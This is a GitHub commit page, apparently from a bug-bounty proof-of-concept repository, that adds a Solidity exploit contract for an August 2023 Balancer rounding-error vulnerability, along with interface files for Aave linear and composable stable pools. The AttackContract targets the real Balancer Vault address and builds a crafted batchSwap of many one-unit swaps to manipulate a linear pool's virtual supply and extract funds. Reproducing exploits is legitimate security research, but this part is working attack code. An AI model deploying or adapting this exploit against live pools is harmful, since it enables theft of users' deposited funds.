-
Notifications
You must be signed in to change notification settings - Fork 16
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
df37b3c
commit d5d1f2c
Showing
9 changed files
with
569 additions
and
4 deletions.
There are no files selected for viewing
Submodule forge-poc-templates
updated
24 files
+0 −6 | .gitmodules | |
+25 −16 | README.md | |
+1 −1 | lib/forge-std | |
+0 −1 | lib/v2-core | |
+0 −1 | lib/v2-periphery | |
+159 −0 | pocs/DFXFinanceBugfixReview.sol | |
+30 −14 | pocs/HundredFinanceHack.sol | |
+1 −5 | remappings.txt | |
+0 −23 | src/FlashLoanTemplate.sol | |
+206 −0 | src/PoC.sol | |
+0 −41 | src/PriceManipulationTemplate.sol | |
+0 −34 | src/ReentrancyTemplate.sol | |
+0 −10 | src/TokenTemplate.sol | |
+6 −13 | src/flashloan/FlashLoan.sol | |
+25 −0 | src/flashloan/FlashLoanProvider.sol | |
+16 −10 | src/pricemanipulation/examples/PriceManipulationExample.sol | |
+1 −1 | src/reentrancy/Reentrancy.sol | |
+3 −3 | src/reentrancy/examples/ReentrancyExampleAttack.sol | |
+0 −21 | test/FlashLoan.t.sol | |
+0 −22 | test/PriceManipulation.t.sol | |
+0 −17 | test/Reentrancy.t.sol | |
+0 −21 | test/Tokens.t.sol | |
+34 −0 | test/pocs/DFXFinanceBugfixReview.t.sol | |
+16 −3 | test/pocs/HundredFinanceHack.t.sol |
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,146 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.13; | ||
|
||
import "@immunefi/PoC.sol"; | ||
import "./interfaces/Vault.sol"; | ||
import "./interfaces/ComposableStablePool.sol"; | ||
import "./interfaces/AaveLinearPool.sol"; | ||
|
||
contract AttackContract is PoC { | ||
address vault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8; | ||
|
||
struct Balances { | ||
uint256 totalInitialUsd; | ||
uint256 finalBalance; | ||
uint256 usdcFinalBalance; | ||
uint256 daiFinalBalance; | ||
uint256 usdtFinalBalance; | ||
uint256 stgFinalBalance; | ||
} | ||
|
||
function getParameters( | ||
address pool, | ||
address asset, | ||
address wrappedToken, | ||
Vault.FundManagement memory funds, | ||
address[] memory assets, | ||
int256[] memory, | ||
/** | ||
* limits | ||
**/ | ||
uint256 steps | ||
) public returns (Vault.BatchSwapStep[] memory) { | ||
bytes32 poolId = ComposableStablePool(pool).getPoolId(); | ||
// To generalize the exploit, we need to get everything into one batchSwap | ||
// First step, if there's no enough wrapped token in the pool, we want to | ||
// swap "to" the bpt token "from" wrapped token. In this case, we don't need | ||
// to interact with the wrapped token itself. | ||
// Vault.BatchSwapStep[] memory swaps = new Vault.BatchSwapStep[](0); | ||
|
||
uint256 wrappedTokenBalance = getTokenBalance(pool, wrappedToken); | ||
uint256 newWrappedTokenBalance; | ||
if (wrappedTokenBalance < 1 ether) { | ||
Vault.BatchSwapStep[] memory _swaps = new Vault.BatchSwapStep[](1); | ||
_swaps[0] = | ||
Vault.BatchSwapStep({poolId: poolId, assetInIndex: 2, assetOutIndex: 0, amount: 1 ether, userData: ""}); | ||
int256[] memory output = Vault(vault).queryBatchSwap(uint8(Vault.SwapKind.GIVEN_OUT), _swaps, assets, funds); | ||
newWrappedTokenBalance = uint256(output[2]); | ||
} | ||
uint256 assetTokenBalance = getTokenBalance(pool, asset); | ||
|
||
Vault.BatchSwapStep[] memory swaps = new Vault.BatchSwapStep[](steps + 5); | ||
|
||
swaps[0] = Vault.BatchSwapStep({ | ||
poolId: poolId, | ||
assetInIndex: 2, | ||
assetOutIndex: 0, | ||
amount: 1 ether, // assume no lower targets | ||
userData: "" | ||
}); | ||
|
||
swaps[1] = Vault.BatchSwapStep({ | ||
poolId: poolId, | ||
assetInIndex: 0, | ||
assetOutIndex: 1, | ||
amount: assetTokenBalance, // assume no lower targets | ||
userData: "" | ||
}); | ||
|
||
swaps[2] = Vault.BatchSwapStep({ | ||
poolId: poolId, | ||
assetInIndex: 0, | ||
assetOutIndex: 2, | ||
amount: newWrappedTokenBalance - steps * 20, // assume no lower targets | ||
userData: "" | ||
}); | ||
|
||
for (uint256 i = 0; i < steps; i++) { | ||
swaps[i + 3] = | ||
Vault.BatchSwapStep({poolId: poolId, assetInIndex: 1, assetOutIndex: 2, amount: 1, userData: ""}); | ||
} | ||
|
||
swaps[steps + 3] = Vault.BatchSwapStep({ | ||
poolId: poolId, | ||
assetInIndex: 1, | ||
assetOutIndex: 0, | ||
amount: getVirtualSupply(pool), | ||
userData: "" | ||
}); | ||
|
||
swaps[steps + 4] = | ||
Vault.BatchSwapStep({poolId: poolId, assetInIndex: 1, assetOutIndex: 2, amount: steps * 19, userData: ""}); | ||
|
||
return swaps; | ||
} | ||
|
||
function getTokenBalance(address pool, address token) public view returns (uint256 balance) { | ||
bytes32 poolId = ComposableStablePool(pool).getPoolId(); | ||
(address[] memory tokens, uint256[] memory balances,) = Vault(vault).getPoolTokens(poolId); | ||
for (uint256 i = 0; i < tokens.length; i++) { | ||
if (tokens[i] == token) { | ||
return balances[i]; | ||
} | ||
} | ||
} | ||
|
||
function getVirtualSupply(address pool) public view returns (uint256) { | ||
uint256 totalSupply = IERC20(pool).totalSupply(); | ||
bytes32 poolId = ComposableStablePool(pool).getPoolId(); | ||
(address[] memory tokens, uint256[] memory balances,) = Vault(vault).getPoolTokens(poolId); | ||
|
||
for (uint256 i = 0; i < tokens.length; i++) { | ||
if (tokens[i] == pool) { | ||
return totalSupply - balances[i]; | ||
} | ||
} | ||
return 0; | ||
} | ||
|
||
function swapDecrease(address pool) public { | ||
address wrappedToken = AaveLinearPool(pool).getWrappedToken(); | ||
address asset = AaveLinearPool(pool).getMainToken(); | ||
|
||
Vault.FundManagement memory funds; | ||
address[] memory assets = new address[](3); | ||
int256[] memory limits = new int256[](3); | ||
{ | ||
funds.sender = address(this); | ||
funds.fromInternalBalance = false; | ||
funds.recipient = address(this); | ||
funds.toInternalBalance = false; | ||
|
||
assets[0] = pool; | ||
assets[1] = asset; | ||
assets[2] = wrappedToken; | ||
|
||
limits[0] = 2 ** 128; | ||
limits[1] = 2 ** 128; | ||
limits[2] = 2 ** 128; | ||
} | ||
|
||
uint256 steps = 20; | ||
Vault.BatchSwapStep[] memory swaps = getParameters(pool, asset, wrappedToken, funds, assets, limits, steps); | ||
|
||
Vault(vault).batchSwap(Vault.SwapKind.GIVEN_OUT, swaps, assets, funds, limits, block.timestamp); | ||
} | ||
} |
109 changes: 109 additions & 0 deletions
109
src/Balancer/rounding-error-aug2023/interfaces/AaveLinearPool.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,109 @@ | ||
pragma solidity ^0.8.10; | ||
|
||
interface AaveLinearPool { | ||
event Approval(address indexed owner, address indexed spender, uint256 value); | ||
event PausedStateChanged(bool paused); | ||
event RecoveryModeStateChanged(bool enabled); | ||
event SwapFeePercentageChanged(uint256 swapFeePercentage); | ||
event TargetsSet(address indexed token, uint256 lowerTarget, uint256 upperTarget); | ||
event Transfer(address indexed from, address indexed to, uint256 value); | ||
|
||
struct SwapRequest { | ||
uint8 kind; | ||
address tokenIn; | ||
address tokenOut; | ||
uint256 amount; | ||
bytes32 poolId; | ||
uint256 lastChangeBlock; | ||
address from; | ||
address to; | ||
bytes userData; | ||
} | ||
|
||
function DOMAIN_SEPARATOR() external view returns (bytes32); | ||
function allowance(address owner, address spender) external view returns (uint256); | ||
function approve(address spender, uint256 amount) external returns (bool); | ||
function balanceOf(address account) external view returns (uint256); | ||
function decimals() external view returns (uint8); | ||
function decreaseAllowance(address spender, uint256 amount) external returns (bool); | ||
function disableRecoveryMode() external; | ||
function enableRecoveryMode() external; | ||
function getActionId(bytes4 selector) external view returns (bytes32); | ||
function getAuthorizer() external view returns (address); | ||
function getBptIndex() external view returns (uint256); | ||
function getDomainSeparator() external view returns (bytes32); | ||
function getMainIndex() external view returns (uint256); | ||
function getMainToken() external view returns (address); | ||
function getNextNonce(address account) external view returns (uint256); | ||
function getOwner() external view returns (address); | ||
function getPausedState() | ||
external | ||
view | ||
returns (bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime); | ||
function getPoolId() external view returns (bytes32); | ||
function getProtocolFeesCollector() external view returns (address); | ||
function getRate() external view returns (uint256); | ||
function getScalingFactors() external view returns (uint256[] memory); | ||
function getSwapFeePercentage() external view returns (uint256); | ||
function getTargets() external view returns (uint256 lowerTarget, uint256 upperTarget); | ||
function getVault() external view returns (address); | ||
function getVirtualSupply() external view returns (uint256); | ||
function getWrappedIndex() external view returns (uint256); | ||
function getWrappedToken() external view returns (address); | ||
function getWrappedTokenRate() external view returns (uint256); | ||
function inRecoveryMode() external view returns (bool); | ||
function increaseAllowance(address spender, uint256 addedValue) external returns (bool); | ||
function initialize() external; | ||
function name() external view returns (string memory); | ||
function nonces(address owner) external view returns (uint256); | ||
function onExitPool( | ||
bytes32 poolId, | ||
address sender, | ||
address recipient, | ||
uint256[] memory balances, | ||
uint256 lastChangeBlock, | ||
uint256 protocolSwapFeePercentage, | ||
bytes memory userData | ||
) external returns (uint256[] memory, uint256[] memory); | ||
function onJoinPool( | ||
bytes32 poolId, | ||
address sender, | ||
address recipient, | ||
uint256[] memory balances, | ||
uint256 lastChangeBlock, | ||
uint256 protocolSwapFeePercentage, | ||
bytes memory userData | ||
) external returns (uint256[] memory, uint256[] memory); | ||
function onSwap(SwapRequest memory request, uint256[] memory balances, uint256 indexIn, uint256 indexOut) | ||
external | ||
returns (uint256); | ||
function pause() external; | ||
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) | ||
external; | ||
function queryExit( | ||
bytes32 poolId, | ||
address sender, | ||
address recipient, | ||
uint256[] memory balances, | ||
uint256 lastChangeBlock, | ||
uint256 protocolSwapFeePercentage, | ||
bytes memory userData | ||
) external returns (uint256 bptIn, uint256[] memory amountsOut); | ||
function queryJoin( | ||
bytes32 poolId, | ||
address sender, | ||
address recipient, | ||
uint256[] memory balances, | ||
uint256 lastChangeBlock, | ||
uint256 protocolSwapFeePercentage, | ||
bytes memory userData | ||
) external returns (uint256 bptOut, uint256[] memory amountsIn); | ||
function setAssetManagerPoolConfig(address token, bytes memory poolConfig) external; | ||
function setSwapFeePercentage(uint256 swapFeePercentage) external; | ||
function setTargets(uint256 newLowerTarget, uint256 newUpperTarget) external; | ||
function symbol() external view returns (string memory); | ||
function totalSupply() external view returns (uint256); | ||
function transfer(address recipient, uint256 amount) external returns (bool); | ||
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); | ||
function unpause() external; | ||
} |
128 changes: 128 additions & 0 deletions
128
src/Balancer/rounding-error-aug2023/interfaces/ComposableStablePool.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,128 @@ | ||
pragma solidity ^0.8.10; | ||
|
||
interface ComposableStablePool { | ||
event AmpUpdateStarted(uint256 startValue, uint256 endValue, uint256 startTime, uint256 endTime); | ||
event AmpUpdateStopped(uint256 currentValue); | ||
event Approval(address indexed owner, address indexed spender, uint256 value); | ||
event PausedStateChanged(bool paused); | ||
event ProtocolFeePercentageCacheUpdated(uint256 indexed feeType, uint256 protocolFeePercentage); | ||
event RecoveryModeStateChanged(bool enabled); | ||
event SwapFeePercentageChanged(uint256 swapFeePercentage); | ||
event TokenRateCacheUpdated(uint256 indexed tokenIndex, uint256 rate); | ||
event TokenRateProviderSet(uint256 indexed tokenIndex, address indexed provider, uint256 cacheDuration); | ||
event Transfer(address indexed from, address indexed to, uint256 value); | ||
|
||
struct SwapRequest { | ||
uint8 kind; | ||
address tokenIn; | ||
address tokenOut; | ||
uint256 amount; | ||
bytes32 poolId; | ||
uint256 lastChangeBlock; | ||
address from; | ||
address to; | ||
bytes userData; | ||
} | ||
|
||
function DELEGATE_PROTOCOL_SWAP_FEES_SENTINEL() external view returns (uint256); | ||
function DOMAIN_SEPARATOR() external view returns (bytes32); | ||
function allowance(address owner, address spender) external view returns (uint256); | ||
function approve(address spender, uint256 amount) external returns (bool); | ||
function balanceOf(address account) external view returns (uint256); | ||
function decimals() external view returns (uint8); | ||
function decreaseAllowance(address spender, uint256 amount) external returns (bool); | ||
function disableRecoveryMode() external; | ||
function enableRecoveryMode() external; | ||
function getActionId(bytes4 selector) external view returns (bytes32); | ||
function getActualSupply() external view returns (uint256); | ||
function getAmplificationParameter() external view returns (uint256 value, bool isUpdating, uint256 precision); | ||
function getAuthorizer() external view returns (address); | ||
function getBptIndex() external view returns (uint256); | ||
function getDomainSeparator() external view returns (bytes32); | ||
function getLastJoinExitData() | ||
external | ||
view | ||
returns (uint256 lastJoinExitAmplification, uint256 lastPostJoinExitInvariant); | ||
function getMinimumBpt() external pure returns (uint256); | ||
function getNextNonce(address account) external view returns (uint256); | ||
function getOwner() external view returns (address); | ||
function getPausedState() | ||
external | ||
view | ||
returns (bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime); | ||
function getPoolId() external view returns (bytes32); | ||
function getProtocolFeePercentageCache(uint256 feeType) external view returns (uint256); | ||
function getProtocolFeesCollector() external view returns (address); | ||
function getProtocolSwapFeeDelegation() external view returns (bool); | ||
function getRate() external view returns (uint256); | ||
function getRateProviders() external view returns (address[] memory); | ||
function getScalingFactors() external view returns (uint256[] memory); | ||
function getSwapFeePercentage() external view returns (uint256); | ||
function getTokenRate(address token) external view returns (uint256); | ||
function getTokenRateCache(address token) | ||
external | ||
view | ||
returns (uint256 rate, uint256 oldRate, uint256 duration, uint256 expires); | ||
function getVault() external view returns (address); | ||
function inRecoveryMode() external view returns (bool); | ||
function increaseAllowance(address spender, uint256 addedValue) external returns (bool); | ||
function isExemptFromYieldProtocolFee() external view returns (bool); | ||
function isTokenExemptFromYieldProtocolFee(address token) external view returns (bool); | ||
function name() external view returns (string memory); | ||
function nonces(address owner) external view returns (uint256); | ||
function onExitPool( | ||
bytes32 poolId, | ||
address sender, | ||
address recipient, | ||
uint256[] memory balances, | ||
uint256 lastChangeBlock, | ||
uint256 protocolSwapFeePercentage, | ||
bytes memory userData | ||
) external returns (uint256[] memory, uint256[] memory); | ||
function onJoinPool( | ||
bytes32 poolId, | ||
address sender, | ||
address recipient, | ||
uint256[] memory balances, | ||
uint256 lastChangeBlock, | ||
uint256 protocolSwapFeePercentage, | ||
bytes memory userData | ||
) external returns (uint256[] memory, uint256[] memory); | ||
function onSwap(SwapRequest memory swapRequest, uint256[] memory balances, uint256 indexIn, uint256 indexOut) | ||
external | ||
returns (uint256); | ||
function pause() external; | ||
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) | ||
external; | ||
function queryExit( | ||
bytes32 poolId, | ||
address sender, | ||
address recipient, | ||
uint256[] memory balances, | ||
uint256 lastChangeBlock, | ||
uint256 protocolSwapFeePercentage, | ||
bytes memory userData | ||
) external returns (uint256 bptIn, uint256[] memory amountsOut); | ||
function queryJoin( | ||
bytes32 poolId, | ||
address sender, | ||
address recipient, | ||
uint256[] memory balances, | ||
uint256 lastChangeBlock, | ||
uint256 protocolSwapFeePercentage, | ||
bytes memory userData | ||
) external returns (uint256 bptOut, uint256[] memory amountsIn); | ||
function setAssetManagerPoolConfig(address token, bytes memory poolConfig) external; | ||
function setSwapFeePercentage(uint256 swapFeePercentage) external; | ||
function setTokenRateCacheDuration(address token, uint256 duration) external; | ||
function startAmplificationParameterUpdate(uint256 rawEndValue, uint256 endTime) external; | ||
function stopAmplificationParameterUpdate() external; | ||
function symbol() external view returns (string memory); | ||
function totalSupply() external view returns (uint256); | ||
function transfer(address recipient, uint256 amount) external returns (bool); | ||
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); | ||
function unpause() external; | ||
function updateProtocolFeePercentageCache() external; | ||
function updateTokenRateCache(address token) external; | ||
function version() external view returns (string memory); | ||
} |
Oops, something went wrong.